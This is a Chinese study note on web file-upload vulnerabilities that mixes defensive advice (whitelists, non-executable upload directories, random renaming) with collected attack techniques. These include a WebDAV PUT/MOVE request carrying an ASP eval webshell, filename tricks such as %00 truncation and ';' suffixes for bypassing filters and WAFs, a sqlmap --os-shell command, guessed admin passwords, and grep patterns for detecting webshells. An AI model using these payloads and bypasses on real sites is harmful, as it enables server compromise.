笔记而已~~~~~~~~~~~~~~~~~~~~~·
文件上传漏洞
是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力,最为直接和有效
简单了解
文件上传导致的安全问题一般有:
1)上传文件是WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行
2)上传文件是FLASH 的策略文件 crossdomain.xml, 黑客用以控制FLASH 在该域下的行为
3) 上传文件是病毒,木马等,黑客诱骗用户或者管理员下载执行
4)上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺骗
5)另外还有 上传文件溢出服务器的后台处理程序,如图片解析模块,或者上传合法的文本文件,其内容包含了PHP 脚本,再通过“本地文件包含漏洞”执行此脚本
大多数情况下,文件上传漏洞一般都是指 上传WEB脚本能够被服务器解析 的问题,满足条件:
1)上传文件能够WEB容器解释执行,所以文件上传后所在的目录要是WEB容器所覆盖到的路径
2)能够从WEB上访问这个文件
3)删除该的文件被安全检查,格式化,图片压缩等功能改变了内容,则也可能导致攻击不成功
采用黑名单是一种非常不好的设计思想
绕过文件上传检查功能:
1)攻击者手动修改了上传过程的POST 包,在文件名后添加一个 %00 字节,则可以截断某些函数对文件名的判断。
2)检查文件中前多少字节 比如判断是否为jpg 等 浏览器的 MIME Sniff 功能实际上也是通过读取文件的前 256字节 来判断文件的类型的
apache 1.x 2.x 对文件名的解析是从后往前 解析的 知道遇见余个 Apache 认识的文件类型为止
apache 认识的文件类型定义在 apache 的mime.types 文件中
.rar 是一个合理的上传需求
phpshell.php.rar.rar.rar.rar 从而导致了脚本被执行
IIS 6 还会将 abc.asp;xx.jpg 解析为 abc.asp
IIS 6 还有将 /*.asp/ 目录下的所有文件都作为asp 文件进行解析 eg:xxx/xxx.asp/x.jpg
IIS 中支持 PUT 功能所导致的若干 上传脚本问题
PUT 是在 WEBDAV 中定义的一个方法。 WEBDAV 大大扩展了HTTP 协议中 GET POST HEAD 等功能,所包含的PUT方法允许用户上传文件到指定的路径下,但在许多的WEB SERVER中,默认是禁用了此方法的,或者对能够上传的文件类型做了严格限制。
IIS 中如果目录支持写权限,开启了WEBDAV,则会支持PUT 方法,再结合MOVE 方法就能将原本只允许上传文本文件改写为脚本文件,从而执行WEBSHELL。MOVE 能否执行成功取决于IIS 服务器是否勾选了“脚本资源访问”复选框
1)通过OPTIONS 探测服务器信息
OPTIONS /HTTP/1.1
HOST: WWW.XXX.COM
2)上传文本文件
PUT /TEST.TXT HTTP/1.1
HOST: WWW.XXX.COM
Content-Length: 26
<%eval(request("cmd"))%>
3)通过 MOVE 改名
MOVE /TEST.TXT HTTP/1.1
HOST: WWW.XXX.COM
PHP 5.2.12 PHP 5.3.1
上传成功了JPG 然后去访问
访问 http://www.xxx.com/path/test.jpg/note.php 将会把jpg当作PHP解析 note.php不存在
漏洞原因是 PHP fastcgi 方式下 获取环境变量的方式
解决办法是 cgi.fix_pathinfo 设置为 0
利用上传的文件 作为钓鱼网站
制作 jpg 类型的 钓鱼文件
开始是 png 特征 然后是转向钓鱼网址的代码
IE 8中出现了 MIME Sniff 不会将JPG 文件当作 HTML 执行
设置安全的文件上传功能:
1) 目录设置为不可执行
在实际应用中,很多大型企业的上传应用将文件上传放到独立的存储上,作静态文件处理,一方面使用缓存加速,一方面杜绝脚本执行的可能。
2)判断文件类型
结合使用 MIME TYPE, http://www.dreamdu.com/xhtml/mime_type/ 后缀检查等方式。
文件检查时 使用白名单,对于图片的处理,可以使用 压缩函数或者resize 函数,在处理图片的同时破坏图片中可能包含的HTML代码
3)使用随机函数改写文件名和文件路径
某些环境,用户能上传但不能访问 EG shell.php.rar.rar 或者 crossdomain,xml 等文件被改名就没用了
4)单独设置文件服务器的域名
上传 crossdomain.xml 上传包含JS 的XSS利用等问题得到解决
网上搜索学习:
1) xxx/res/admin/list_file.aspx 上传文件
2) burpsuite 抓包 然后直接发到repeater
修改 1.asp;1.asp;1.png;1.jpg
上传php的 要在后缀加两空格 1.php_ _
3)
sqlmap 严格扫描 : sqlmap.py -r 1.txt(抓包) --dbms=mssql(后台管理系统) --random-agent --level 5 --risk 3 --os-shell
4) 后台登陆 管理员账户:admin 密码:.admin. (注意哦有标点) 或者 admin admin 等等
5)IE访问 http://www.xxx/admin/mEditor_Full.html ,上传图片处传aspx一句话,
抓包在文件名xxxxx.aspx中的"."与"aspx"间加一个空格,且url中的path=upload/改为path=..即可成功绕过WAF。
6)用asp的那个%00 url-decode截断上传的,但是各种传不上,变成随机文件名,
这里就可以使用传说中的那个奇葩文件名来达到上传a.aspx.a;.a.aspx.jpg..jpg 然后抓包改包
7)
只判断了第一个扩展名,绕过很简单,例如: test.jpg.php
上传后保存的是PHP文件。
8) 遇到 WAF 拦截我们的WEBSHELL时 ,修改包
只要删除filename前面的分号,然后发送请求,发现网站卫士不会进行拦截,原因很简单,匹配不到filename了,进而找不到我的js.asp了,因此就不拦了。
9)
代码1: 前端 验证文件名的上传 弹框说不行
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
extArray = new Array(".gif", ".jpg", ".png");
function LimitAttach(form, file) {
allowSubmit = false;
if (!file) return;
while (file.indexOf("\\") != -1)
file = file.slice(file.indexOf("\\") + 1);
ext = file.slice(file.indexOf(".")).toLowerCase();
for (var i = 0; i < extArray.length; i++) {
if (extArray[i] == ext) { allowSubmit = true; break; }
}
if (allowSubmit) form.submit();
else
alert("只能上传: "
+ (extArray.join(" ")) + "\n请重新选择文件"
+ "再上传.");
}
// End -->
</script>
burpsuite 抓包 修改 文件名 即 上传后缀 JPG 修改为 php 代码2:后台验证文件不是 image/jpeg 的 不能上传
<?php
//print_r($_FILES['uploadfile']);
if (isset ( $_POST ['upload'] ) && ! empty ( $_POST ['upload'] )) {
if ($_FILES ['uploadfile'] ['type'] != "image/jpeg") {
exit ( 'EEOR: 上传文件不是正确图像' );
} else {
$upfile = "upfile" . "/" . rand ( 1, 5 ) . $_FILES ['uploadfile'] ['name'];
if (is_uploaded_file ( $_FILES ['uploadfile'] ['tmp_name'] )) {
if (! move_uploaded_file ( $_FILES ['uploadfile'] ['tmp_name'], $upfile )) {
echo '出错!!移动文件失败!';
exit ();
} else {
echo "上传成功路径是:$upfile";
}
}
}
}
?>
burpsuite 抓包 上传 jpg 修改 filename="xxx.php" 并且修改 Content-Type: image/jpeg
代码3: 采用黑名单的禁止上传
function upload() {
if (! file_exists ( $this->newpath )) {
echo "<script>alert('该目录不存在!')</script>";
return;
} else {
$arr = explode ( '.', $this->name );
if (in_array ( $arr [1], $this->not )) {
echo "<script>alert('该类型文件禁止上传!')</script>";
return;
} else if ($this->name == '') {
echo "<script>alert('请选择上传的文件!')</script>";
return;
} else if ($this->size > $this->notsize) {
echo "<script>alert('上传文件超过规定大小!')</script>";
return;
} else if (file_exists ( "$this->newpath" . "$this->name" )) {
echo "<script>alert('该文件已经存在!')</script>";
return;
} else {
$this->move = move_uploaded_file ( $this->path, $this->newpath. $this->setNewName() );
$this->move ();
}
}
}
html,htm,php,php2,php3,php4,phtml,pwml,inc,asp,aspx,ascx,jsp,cfm,cfc,pl,bat,exe,com,dll,vbs,js,reg,cgi,htaccess,asis,sh,shtml,shtm,phtm用00 截断来 绕过~~~~~ php%00 或者 php%00jpg
代码4: 白名单 限制了文件类型和 后缀名
if($_FILES['file']['size'] > 1000000){
echo '文件过大!';
exit;
}
if($_FILES['file']['type']!='image/jpeg' && $_FILES['file']['type']!='image/gif'){
echo '文件不是JPG或者GIF图片!';
exit;
}
$today = date("YmdHis");
$filetype = $_FILES['file']['type'];
if($filetype == 'image/jpeg'){
$type = '.jpg';
}
if($filetype == 'image/gif'){
$type = '.gif';
}
function checkPath($_patch){
if (!is_dir($_patch) || !is_writeable($_patch)) {
if (!mkdir($_patch)) {
exit('ERRIR:创建目录失败');
}
}
}
checkPath($_POST['path']);
$upfile = $_POST['path']."/". $today . $type;
if(is_uploaded_file($_FILES['file']['tmp_name']))
{
if(!move_uploaded_file($_FILES['file']['tmp_name'], $upfile))
{
echo '移动文件失败!';
exit;
}
}
else
{
echo 'problem!';
exit;
}
echo '<h1>success!</h1><br>';
网上说的是 repeater 下 request 下面看看 content-Disposition 下面修改发送存储路径~_~是bug
发送 1.asp; 或者 ../ 目录下 跨目录传送文件~~~~~~~~~~~~
另外知识:
在Linux上最快最简单的方法查找中国菜刀,可以利用egrep+正则表达式识别被感染的文件,如下:
egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php
可以看到在Windows上正则表达式与linux略有区别,如下:
findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php
以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正则表达式即可,如下:
egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx
findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx
http://www.freebuf.com/articles/web/12064.html
D